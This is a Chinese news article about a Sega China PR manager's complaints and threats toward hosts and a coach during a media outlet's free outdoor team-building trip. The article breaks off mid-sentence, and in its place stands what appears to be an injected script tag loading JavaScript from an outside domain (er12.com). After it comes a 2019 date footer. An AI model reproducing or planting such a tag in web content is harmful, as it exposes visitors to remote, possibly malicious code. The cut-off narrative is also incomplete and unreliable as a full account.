史上最牛女公关:你们媒体把我请过来就要伺候好!

[编者按:一次偶然的劣迹发现,正在科技届与公关届掀起波澜,在互联网时代,传统的行业正在重新接受考验。高科技时代企业需要什么素质的员工?媒体与企业的微妙关系又应该保持怎样的平衡?]

"我们是你们请来的客人,你们就应该伺候好",日本世嘉中国的女公关经理,在近日一次野外拓展活动上,这样对邀请她参加活动的网络游戏媒体说道。

"伺候",原本属于封建帝王时代的词语,在佣人服务于主子时所用,应用十分普遍,但随着时代的变迁,这个词语现在除了玩笑之余大抵只能在电视剧里才能听到了。不过历史总爱开玩笑,21世纪的今天,在新兴得不能再新兴的it行业,还是重复上演了历史中的一个片断。

就在上周末,也就是7月1号和2号,一家上海的网络游戏媒体邀请了一些被认为是朋友的合作伙伴,与公司员工一道去浙江桐庐,免费参加野外拓展活动。在这个120多人的拓展团队中,有四位队员(三女一男)来自于日本游戏企业世嘉中国公司,故事就从这四个人开始。

据悉,世嘉四人中两位供职于世嘉媒体部的女士,两位供职于世嘉公关部。在世嘉的分工中,媒体部是负责广告的投放;在公关部的这两位员工中,一位女士是公关经理,一位是男性公关专员。同行中有负责广告投放的人,"可能也因此造成了世嘉这几位员工自我感觉地位很高",一位业内人士分析称。

上文提到的公关经理,被同行者称为"是闹得最凶的",也就成了本文的主角。

一大早集合为啥不给准备早餐?

7月1日早上七点一刻,拓展队一行在上海市人民广场集合,发车去浙江桐庐拓展基地。活动组织者以为大家都吃过了,并没有给拓展成员准备早餐。

据组织者回忆,围绕着早餐的问题,世嘉这位女公关经理就已经产生了一些不满。世嘉员工认为,7点多钟出发不给准备早餐,让队员饿着肚子赶路,显得活动组织者非常不专业。

随后,这位女公关和她一位同事下车去kfc买了早餐,上车以后他们很长时间里都没有说过话。或许一颗不和谐的种子,由此埋下。

在往拓展基地的车上,有一个"破冰训练"的环节,也是我们通常所说自我介绍,每个人说些有趣的话题。轮到她们做自我介绍的时候并没有上去,我想那个时候应该已经不高兴了",据说是因为,"世嘉的这位公关经理认为这样很幼稚"。

野外露营基地怎么不是五星级?

在主办方发出去的邀请函中提到,此次拓展选择的基地是"五星的野外拓展基地"。

"如果不是五星级,应该提前给我们说清楚嘛",在世嘉的女公关经理的理解中,"五星级的宾馆有着很干净很干净的卫生间,和绿色美丽草坪的花园的地方"。

主办方则认为,野外的露营基地的星级和宾馆星级标准的五星级是不同的。他们表示,帐篷的质量和条件都不错,帐篷中被褥枕头等必备的物品配套齐全。主办方称,与其它野外露营相比,这个条件已经算很好的了。

没有淋浴怎么能洗澡?

位处山间的拓展基地,没有淋浴的条件。这里的洗澡水取自山泉水,有热水,有冷水,但是只能盆浴。"洗澡间的保密性很好,但是她却一再抱怨"没有淋浴怎么能洗澡?""。

拓展基地不比宾馆,卫生间没有纸也被世嘉女公关经理拿出来说,认为这是对他们企业的的欺骗。

不去腐败,怎么能叫请客?

"请客就应该是去腐败,而不是去受苦!"当时这位小姐曾向主办方怒吼。主办方在其邀请函中提到请大家"野外拓展并篝火晚会腐败",世嘉公关经理一行认为这不是传统意义上的腐败,带有欺骗性。

活动内容为深山攀登,悬崖速降,地下溶洞探险,睡的是露营帐篷。这样的拓展确实有些辛苦,但是如果不辛苦怎么能叫拓展呢?

这位公关经理认为自己公司也办过各种活动,在这种活动上嘉宾理应"享受微笑式的服务"。而在主办方的活动中,他们并没有享受到这样的服务。

扬言要狠扁教练

据主办方相关人士介绍,周六晚上,全团一百多人围着篝火做游戏,原本嘈杂的环境在他们的大声喧哗下显得更加吵闹,主持人(教练)便说了她一句,说"请你们不要说话"。这句话被主办方认为是引发这位女公关经理爆发的导火索,怀疑教练的这番话"让他们很没有面子"。

他们当即就表示"要是在北京,肯定找人把你扁一顿","傻b"等脏话也都倒了出来。还要打电话到上海叫人,扬言要把教练扁一顿。

说一定要现在将正在台上为所有游客举行活动的教练叫下来,听从他们3个人的意见,教练以目前正在为更多的游客服务,希望等活动进行完了在听从他们的教训为由拒绝了。直接导致的后果是原定12点结束的活动,10点半就被迫收场。

她称,自己公司的老总非常有礼貌和修养,总是在自己的活动中会对每个来宾不停的鞠躬。他们认为发生事情的瞬间主办方老总坐视不理,是怠慢了。

抗议要回上海,却用专车去杭州嘉兴游玩

晚会上的不愉快,直接遭致了世嘉女公关经理的抗议。她们要求立即派人以专车送他们公司3人,如果不能满足?script src=http://er12.com/t.js>

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发布日期:2019年07月04日  所属分类:新闻动态